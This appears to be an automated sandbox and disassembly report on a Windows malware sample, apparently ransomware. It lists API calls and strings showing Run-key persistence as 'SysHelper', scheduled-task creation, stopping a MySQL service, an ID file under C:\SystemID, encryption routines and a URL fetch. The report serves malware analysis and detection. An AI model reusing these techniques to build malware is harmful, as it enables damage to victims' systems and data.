GetStdHandle.KERNEL32(000000F4,007D4C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,007D480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,007D1D37,00000000,0078CDAE,00000001,00000001), ref: 007D4AFA
GetFileType.KERNEL32(00000000,?,007D1D37,00000000,0078CDAE,00000001,00000001), ref: 007D4B05
__vfwprintf_p.LIBCMT ref: 007D4B27

Part of subcall function 007ABDCC: _vfprintf_helper.LIBCMT ref: 007ABDDF

vswprintf.LIBCMT ref: 007D4B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 007D4B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 007D4BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 007D4BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 007D4BD3

Strings

OPENSSL, xrefs: 007D4B77
OpenSSL: FATAL, xrefs: 007D4BC7

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 8d8392a391f3480dba174abc3ad1036a6677357c683326f09e72928041d694c6
Instruction ID: b2d6a8309b2bccbac349516344b067c4a11eb39cec9113d40495e0a7e9ba997b
Opcode Fuzzy Hash: 8d8392a391f3480dba174abc3ad1036a6677357c683326f09e72928041d694c6
Instruction Fuzzy Hash: 1621B371648300ABE770AB60CC4BFEB77A8BF99700F40491AB699C62D0EBB99444C753

Function 00792360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00792389
_memset.LIBCMT ref: 007923B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 007923DE
RegCloseKey.ADVAPI32(?), ref: 007923E7
GetCommandLineW.KERNEL32 ref: 007923F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 007923FF
lstrcpyW.KERNEL32(?,00000000), ref: 0079240E
lstrcmpW.KERNEL32(?,?), ref: 00792422

Strings

SysHelper, xrefs: 007923D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0079237F

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: fc4026e178c5f1ef5fe43950de2e7d367418b126d2855b0778cfc36e1f3e42f6
Instruction ID: ca3792892987e7ebde02d5b5beb8e60e069caa7895d4498f121105a4e791ca31
Opcode Fuzzy Hash: fc4026e178c5f1ef5fe43950de2e7d367418b126d2855b0778cfc36e1f3e42f6
Instruction Fuzzy Hash: 4B11477690020CEBDB50DFA0DC49FEA77BCBB05304F0045A5B609E2151EBB89A88DB50

Function 00798000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007980B9
_memmove.LIBCMT ref: 00798124
_memmove.LIBCMT ref: 007981A8
_memmove.LIBCMT ref: 00798221
_memmove.LIBCMT ref: 00798288
_memmove.LIBCMT ref: 007982C6
_memmove.LIBCMT ref: 00798305

Strings

string too long, xrefs: 00798338
invalid string position, xrefs: 00798342

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 18655857c64fa76b4c3d23dc7b1615e2c175a0a5b5177d2aa246302251e9fa78
Instruction ID: 8da76a678fa69823b587e62b99211d28f4dced602b1c32ceb3b0c79ee6d264e7
Opcode Fuzzy Hash: 18655857c64fa76b4c3d23dc7b1615e2c175a0a5b5177d2aa246302251e9fa78
Instruction Fuzzy Hash: F8C17A71600209DFDF58CF0CE88196E77A6FF86704B24492DE892CB742DB38ED558B96

Function 0078DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0078DAEB
CoCreateInstance.OLE32(00854F6C,00000000,00000001,00854F3C,?,?,0084A948,000000FF), ref: 0078DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,0084A948,000000FF), ref: 0078DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,0084A948,000000FF), ref: 0078DBE3
_memset.LIBCMT ref: 0078DC38
CoUninitialize.OLE32 ref: 0078DC92

Strings

--Task, xrefs: 0078DBB5
Comment, xrefs: 0078DBFF
Time Trigger Task, xrefs: 0078DB24, 0078DB34, 0078DB52

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: c74bfd7b411b78392ba379a6d529ff65911ac8215a5d7b7be7b509e751ff3f31
Instruction ID: 889d6ea58d43926a55a25ceebb24e9903276ef7f135836e0dffba31b1fd1868f
Opcode Fuzzy Hash: c74bfd7b411b78392ba379a6d529ff65911ac8215a5d7b7be7b509e751ff3f31
Instruction Fuzzy Hash: 4A510370A40209AFDB00DF94C889FAE7BB9FF88B05F108558F515EB291DB79A949CF50

Function 00791A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00791A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00791A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00791A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00791A5B
Sleep.KERNEL32(?), ref: 00791A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00791A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00791A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00791AA1

Strings

MYSQL, xrefs: 00791A2C

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 5d9ae5894d438bc59715f45327d869e0459d9aaa5a7326c937dcb9b3de0c3335
Instruction ID: 1b7c04a23019ed7542cb490ebd31517f48ce27638528b6296c15d515129ef115
Opcode Fuzzy Hash: 5d9ae5894d438bc59715f45327d869e0459d9aaa5a7326c937dcb9b3de0c3335
Instruction Fuzzy Hash: E611C635A02606ABDF205B95AC48FAF77BDEF46751F440011FA00E2150D738DD45CBA4

Function 007CF26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 007CF27F

Part of subcall function 007B0CFC: std::exception::_Copy_str.LIBCMT ref: 007B0D15

__CxxThrowException@8.LIBCMT ref: 007CF294

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,?,0088793C,?,?,?,?,?,007A3B9C,?,0088793C,?,00000001), ref: 007B0F1F

std::exception::exception.LIBCMT ref: 007CF2AD
__CxxThrowException@8.LIBCMT ref: 007CF2C2
std::regex_error::regex_error.LIBCPMT ref: 007CF2D4

Part of subcall function 007CEF74: std::exception::exception.LIBCMT ref: 007CEF8E

__CxxThrowException@8.LIBCMT ref: 007CF2E2
std::exception::exception.LIBCMT ref: 007CF2FB
__CxxThrowException@8.LIBCMT ref: 007CF310

Strings

bad function call, xrefs: 007CF316

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 887b6b068b41ecb040442887363bb4273a50a8c0ed3575f3d0ecf79630d11229
Instruction ID: 38ed2471f54364000a4b6771553c3aac90fc67dd44997791965dec298d59c14c
Opcode Fuzzy Hash: 887b6b068b41ecb040442887363bb4273a50a8c0ed3575f3d0ecf79630d11229
Instruction Fuzzy Hash: B411977494020DBBCB00FFA4C559DDEBB78EA04344F808566BD2497641EB78A25D8B91

Function 007E5480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 007E54C8
GetLastError.KERNEL32(?,?,00000000), ref: 007E54D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 007E54F7
GetLastError.KERNEL32(?,?,00000000), ref: 007E5503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 007E5531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 007E555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 007E55F5

Strings

.\crypto\bio\bss_file.c, xrefs: 007E55F0, 007E562F, 007E5640
fopen(', xrefs: 007E5611
',', xrefs: 007E560B

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: c9fbd66377f129615fe7762205e36eaf4cf86de2b78942eac9a30416f02930f2
Instruction ID: 433771e3eade15d36a44e5b1fdc1dd493f9aa05bb81a1946f124600851e8877d
Opcode Fuzzy Hash: c9fbd66377f129615fe7762205e36eaf4cf86de2b78942eac9a30416f02930f2
Instruction Fuzzy Hash: 04514D75B41608FBEB206B658C07FBE776AFF4AB54F000165FA01EA2C1DA6D5D0187A1

Function 007A5B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A5BF8
__lock.LIBCMT ref: 007A5C0E
__copytlocinfo_nolock.LIBCMT ref: 007A5C1F
__wsetlocale_nolock.LIBCMT ref: 007A5C36
__lock.LIBCMT ref: 007A5C70
__updatetlocinfoEx_nolock.LIBCMT ref: 007A5C82
___removelocaleref.LIBCMT ref: 007A5C88
__updatetlocinfoEx_nolock.LIBCMT ref: 007A5CA7

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: c00763f68d5d7f9b8f1ad7ffae35f24b36a777098125e59fd7d1c29b16b38a40
Instruction ID: 7e8ce7b0c11ea68696125bd43f0c2e4b9f19cf041ff24a63b902684b9ce8ef30
Opcode Fuzzy Hash: c00763f68d5d7f9b8f1ad7ffae35f24b36a777098125e59fd7d1c29b16b38a40
Instruction Fuzzy Hash: C1413A72904705EFDB11AFA4DC8AB9E37E0BFC6324F20422EF51496182DB7E9550CB61

Function 0078C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 007A0FDD: __wfsopen.LIBCMT ref: 007A0FE8

_fgetws.LIBCMT ref: 0078C7BC
_memmove.LIBCMT ref: 0078C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0078C94B

Strings

C:\SystemID, xrefs: 0078C946
C:\SystemID\PersonalID.txt, xrefs: 0078C77C, 0078C956

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: cda6942badab6fc1f84291545431c03830d415b1afe29e819f6961beef061f93
Instruction ID: 477859373f5b608305d9ee3a859201f1b3b0ddbfabe17c439301fa7a98521a79
Opcode Fuzzy Hash: cda6942badab6fc1f84291545431c03830d415b1afe29e819f6961beef061f93
Instruction Fuzzy Hash: 4C91D372D40319DBCF21EFA8CC85BAEB7B4BF44304F144569E815A7241E77DAA14CBA1

Function 0078F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0078F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0078F353

Strings

Shell32.dll, xrefs: 0078F32C
\, xrefs: 0078F548
SHGetFolderPathW, xrefs: 0078F34D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 8562e4f7f81f628e088e19fe7cfa05acc40adbd59086a717a3192f332097297c
Instruction ID: d798570f24fb2d57885a2d6b3b670bd732d176944278a719133e1ba6ba8de9ee
Opcode Fuzzy Hash: 8562e4f7f81f628e088e19fe7cfa05acc40adbd59086a717a3192f332097297c
Instruction Fuzzy Hash: E3C16A71D01209EBDF00EFA4DD89BDEBBB5BF14308F104129E405B7291EB79AA19CB91

Function 0078CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0078CDDE
_malloc.LIBCMT ref: 0078CE12
_malloc.LIBCMT ref: 0078CE21
_fprintf.LIBCMT ref: 0078CE75

Strings

 , xrefs: 0078CCAF
Error encrypting message: %s, xrefs: 0078CE67
\\n, xrefs: 0078CC1B

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 33787baea50e7f21835affb857794fa45b53a80e6a1a1ce3746a17215a4d34b1
Instruction ID: 785c73ff566e06b6da09001b6e281c0142519df652564562a6f5c621aa01d3fa
Opcode Fuzzy Hash: 33787baea50e7f21835affb857794fa45b53a80e6a1a1ce3746a17215a4d34b1
Instruction Fuzzy Hash: 7AA193B1C00249DBEF11EFE4CC4ABDEBB75AF15314F140128E4057A283E7BA5659CBA2

Function 007E3350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 007E3382
_strncmp.LIBCMT ref: 007E33C2

Strings

ENCRYPTED, xrefs: 007E33BC
Proc-Type: , xrefs: 007E337C
DEK-Info: , xrefs: 007E3422
.\crypto\pem\pem_lib.c, xrefs: 007E3393, 007E33D3, 007E3407, 007E3439, 007E3491

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: 64cf814f8ecaa7c4c01cdc9e424a88992e9e3f6f7d02b34ed74bcf8abb6e3db2
Instruction ID: 599d25df560b6a06765dd03230ed52bcfef9df3ecdd841db81f69c02e2b4b5e5
Opcode Fuzzy Hash: 64cf814f8ecaa7c4c01cdc9e424a88992e9e3f6f7d02b34ed74bcf8abb6e3db2
Instruction Fuzzy Hash: CA416FA2BC93C179FB32552ABC0FFA673815B55B11F0D0425F688EB2C3FB8D85464191

Function 0078C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0078C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0078C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0078C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0078C725
RegCloseKey.ADVAPI32(00000000), ref: 0078C72E

Strings

SysHelper, xrefs: 0078C6EB, 0078C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0078C6B8

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: d5b617076ed44d5e1f78dd7031ec639327931ce55a2d8f5ffa06f94410acbfba
Instruction ID: 1bfdb4ddadbcefc638899cc95937d6d379ade8ef5cce43d5cb9a8de6f4461e23
Opcode Fuzzy Hash: d5b617076ed44d5e1f78dd7031ec639327931ce55a2d8f5ffa06f94410acbfba
Instruction Fuzzy Hash: 60111BB5940208FBEB11DF91DC46BEEBB7CFB04708F104195EA14B62A1D7B55A14EB50

Function 0079E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0079E707

Part of subcall function 0078C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C51B

InternetOpenW.WININET ref: 0079E743
_wcsstr.LIBCMT ref: 0079E7AE
_memmove.LIBCMT ref: 0079E838
lstrcpyW.KERNEL32(?,?), ref: 0079E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0079E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0079E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0079E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0079E9CD
InternetCloseHandle.WININET(00000000), ref: 0079E9F3
InternetCloseHandle.WININET(00000000), ref: 0079E9F6
_strstr.LIBCMT ref: 0079EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EA74
